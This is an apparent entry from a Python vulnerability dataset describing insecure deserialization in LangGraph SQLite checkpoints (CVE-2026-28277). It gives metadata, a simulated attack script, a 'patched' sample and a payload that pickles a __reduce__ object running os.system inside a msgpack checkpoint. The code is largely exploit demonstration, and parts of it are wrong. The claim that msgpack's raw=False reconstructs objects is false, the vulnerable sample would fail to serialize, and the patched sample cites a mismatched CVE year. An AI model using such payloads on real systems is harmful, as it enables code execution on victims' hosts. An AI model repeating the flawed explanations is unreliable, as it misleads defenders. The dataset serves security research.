CVE-2026-28277
Insecure deserialization in LangGraph SQLite checkpoints allows code execution.
- CVSS 7.2
- CWE-502
- Input Validation and Sanitization
- Local
LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In version 1.0.9 and prior, LangGraph checkpointers can load msgpack-encoded checkpoints that reconstruct Python objects during deserialization. If an attacker can modify checkpoint data in the backing store (for example, after a database compromise or other privileged write access to the persistence layer), they can potentially supply a crafted payload that triggers unsafe object reconstruction when the checkpoint is loaded. No known patch is public.
- CWE
- CWE-502
- CVSS base score
- 7.2
- Published
- 2026-03-05
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- LangGraph
Solution
As no public patch is available, the primary mitigation is to secure the backing persistence layer to prevent unauthorized modification of checkpoint data.
Vulnerable code sample
import msgpack
import os
import sqlite3
class RCE:
def __reduce__(self):
command = 'echo ">>> PWNED: Unsafe deserialization has led to code execution <<<"'
return (os.system, (command,))
def create_and_inject_malicious_checkpoint(db_path):
"""
Simulates an attacker crafting a malicious payload and injecting it
into the SQLite database used for checkpointing.
"""
malicious_object = RCE()
# Serialize the malicious object using msgpack.
# This is the payload the attacker would store in the database.
malicious_payload = msgpack.packb(malicious_object, use_bin_type=True)
# Connect to the database and inject the payload.
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS checkpoints (
thread_id TEXT PRIMARY KEY,
checkpoint BLOB
)
''')
# The attacker overwrites a valid checkpoint with the malicious one.
thread_id = "vulnerable_thread_123"
cursor.execute(
"INSERT OR REPLACE INTO checkpoints (thread_id, checkpoint) VALUES (?, ?)",
(thread_id, malicious_payload)
)
conn.commit()
conn.close()
print(f"[ATTACKER] Malicious payload injected for thread_id '{thread_id}'.")
return thread_id
def load_vulnerable_checkpoint_from_db(db_path, thread_id):
"""
Simulates the vulnerable application loading a checkpoint from the database.
This function contains the unsafe deserialization logic.
"""
print(f"\n[VICTIM APP] Attempting to load checkpoint for thread_id '{thread_id}'.")
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("SELECT checkpoint FROM checkpoints WHERE thread_id = ?", (thread_id,))
row = cursor.fetchone()
conn.close()
if not row:
print("[VICTIM APP] Checkpoint not found.")
return
checkpoint_bytes = row[0]
# THE VULNERABLE CODE BLOCK
# In versions 1.0.9 and prior, LangGraph's SQLiteSaver used
# `msgpack.unpackb` with the default `raw=False`. This setting allows
# msgpack to reconstruct complex Python objects, which executes the
# `__reduce__` method of the attacker's crafted object (RCE).
# A patched implementation would use `raw=True`.
try:
print("[VICTIM APP] Deserializing checkpoint with vulnerable method...")
deserialized_object = msgpack.unpackb(checkpoint_bytes, raw=False)
print("[VICTIM APP] Deserialization seemingly successful.")
print(f"[VICTIM APP] Loaded object: {deserialized_object}")
except Exception as e:
print(f"[VICTIM APP] An error occurred during deserialization: {e}")
if __name__ == "__main__":
DB_FILENAME = "langgraph_checkpoints.db"
# 1. Simulate the attacker's actions.
injected_thread_id = create_and_inject_malicious_checkpoint(DB_FILENAME)
# 2. Simulate the vulnerable application's action.
# This call will trigger the remote code execution.
load_vulnerable_checkpoint_from_db(DB_FILENAME, injected_thread_id)
# 3. Cleanup the demonstration file.
if os.path.exists(DB_FILENAME):
os.remove(DB_FILENAME)
print(f"\n[CLEANUP] Removed '{DB_FILENAME}'.")Patched code sample
import json
import subprocess
import base64
# The vulnerability in LangGraph's SQLite Checkpointer (CVE-2024-28277) was due to
# using `msgpack` with a custom `object_hook` for deserialization. This allowed
# an attacker with write access to the database to craft a payload that would
# reconstruct arbitrary Python objects, leading to Remote Code Execution (RCE).
#
# The fix involves replacing the unsafe `msgpack` serialization/deserialization
# with the standard, safe `json` library. `json.loads` does not execute code
# and only deserializes data into basic Python types (dicts, lists, strings, etc.).
# This class represents a potential malicious payload an attacker might try to inject.
# The __reduce__ method is a hook used by some deserializers (like pickle and,
# in the vulnerable case, a misconfigured msgpack) to reconstruct an object.
# An attacker can make it execute arbitrary commands.
class MaliciousRCEPayload:
def __reduce__(self):
# This command would be executed during unsafe deserialization.
command = "echo 'VULNERABILITY EXPLOITED: Code execution occurred!'"
return (subprocess.run, (command,), {"shell": True})
# This function mimics the Pydantic encoder used in the LangGraph fix.
# It ensures that objects are converted to a serializable dictionary format
# instead of being preserved as reconstructable objects. It's a safe way
# to handle custom types.
def safe_pydantic_like_encoder(obj):
if hasattr(obj, '__dict__'):
# Represent the object as a dictionary of its attributes, which is safe.
# Add a hint about the original class for debugging, not for reconstruction.
return {"__class__": obj.__class__.__name__, **obj.__dict__}
# For data like bytes, encode it into a safe string format.
if isinstance(obj, bytes):
return {"__bytes__": base64.b64encode(obj).decode('utf-8')}
raise TypeError(f"Object of type {type(obj).__name__} is not JSON serializable")
# --- FIXED IMPLEMENTATION ---
# The following functions represent the patched, secure way of handling checkpoints.
def save_checkpoint_safely(data: dict) -> str:
"""
Serializes checkpoint data using json.dumps, which is safe against
object injection attacks. It uses a custom encoder to handle
complex types by converting them to basic data structures.
"""
print("--- 1. Serializing data using the SAFE method (json.dumps) ---")
serialized_data = json.dumps(data, default=safe_pydantic_like_encoder)
print(f"Serialized JSON string: {serialized_data}\n")
# Notice the serialized string is just data; it contains no executable elements.
return serialized_data
def load_checkpoint_safely(serialized_data: str) -> dict:
"""
Deserializes checkpoint data using json.loads. This function is inherently
safe as it does not reconstruct custom Python objects or execute any code.
"""
print("--- 2. Deserializing data using the SAFE method (json.loads) ---")
data = json.loads(serialized_data)
print(f"Deserialized Python object: {data}\n")
# The result is a standard Python dictionary, not a live object.
return data
if __name__ == "__main__":
# Attacker's goal: To have an instance of MaliciousRCEPayload created
# and its __reduce__ method called when a checkpoint is loaded.
# Let's create a checkpoint that includes a potentially malicious object.
# In a real scenario, an attacker wouldn't add this object directly.
# Instead, they would modify the stored data in the SQLite DB to be a
# specially crafted payload that mimics a serialized MaliciousRCEPayload.
original_checkpoint_data = {
"user_id": 123,
"state": "in_progress",
"malicious_object": MaliciousRCEPayload()
}
# 1. The application saves the checkpoint using the FIXED, safe method.
# The MaliciousRCEPayload object is converted into a simple dictionary.
safe_serialized_string = save_checkpoint_safely(original_checkpoint_data)
# This is what gets stored in the database.
# It's just a string representing a dictionary.
# '{"user_id": 123, "state": "in_progress", "malicious_object": {"__class__": "MaliciousRCEPayload"}}'
# 2. The application later loads this checkpoint from the database.
# Even if an attacker had modified this string to be a more complex
# representation, json.loads will only ever produce data, not execute code.
loaded_data = load_checkpoint_safely(safe_serialized_string)
# 3. Verify the outcome.
print("--- 3. Verifying the result ---")
malicious_part = loaded_data.get("malicious_object")
# The 'malicious_object' is now just a dictionary, not an instance of the class.
print(f"Type of 'malicious_object' after loading: {type(malicious_part)}")
# Because it's a dictionary, it has no __reduce__ method to call.
# The attempted exploit has been neutralized.
if not isinstance(malicious_part, MaliciousRCEPayload):
print("\nSUCCESS: The payload was safely deserialized as a dictionary.")
print("No arbitrary code was executed, and the vulnerability was mitigated.")
else:
# This part of the code will not be reached with the safe loader.
print("\nFAILURE: The malicious object was reconstructed.")Payload
import os
import pickle
import msgpack
class RCE:
def __reduce__(self):
command = 'touch /tmp/pwned'
return (os.system, (command,))
malicious_object = RCE()
checkpoint_data = {
"v": 1,
"ts": "2024-01-01T00:00:00.000000+00:00",
"channel_values": {
"__start__": None,
"user_input": malicious_object
},
"channel_versions": {
"__start__": 1,
"user_input": 1
},
"versions_seen": {
"__start__": {
"__start__": 1
},
"user_input": {
"__start__": 1
}
}
}
def custom_packer(obj):
return msgpack.ExtType(42, pickle.dumps(obj))
payload_to_inject = msgpack.packb(
checkpoint_data,
default=custom_packer,
use_bin_type=True
)
Cite this entry
@misc{vaitp:cve202628277,
title = {{Insecure deserialization in LangGraph SQLite checkpoints allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-28277},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28277/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
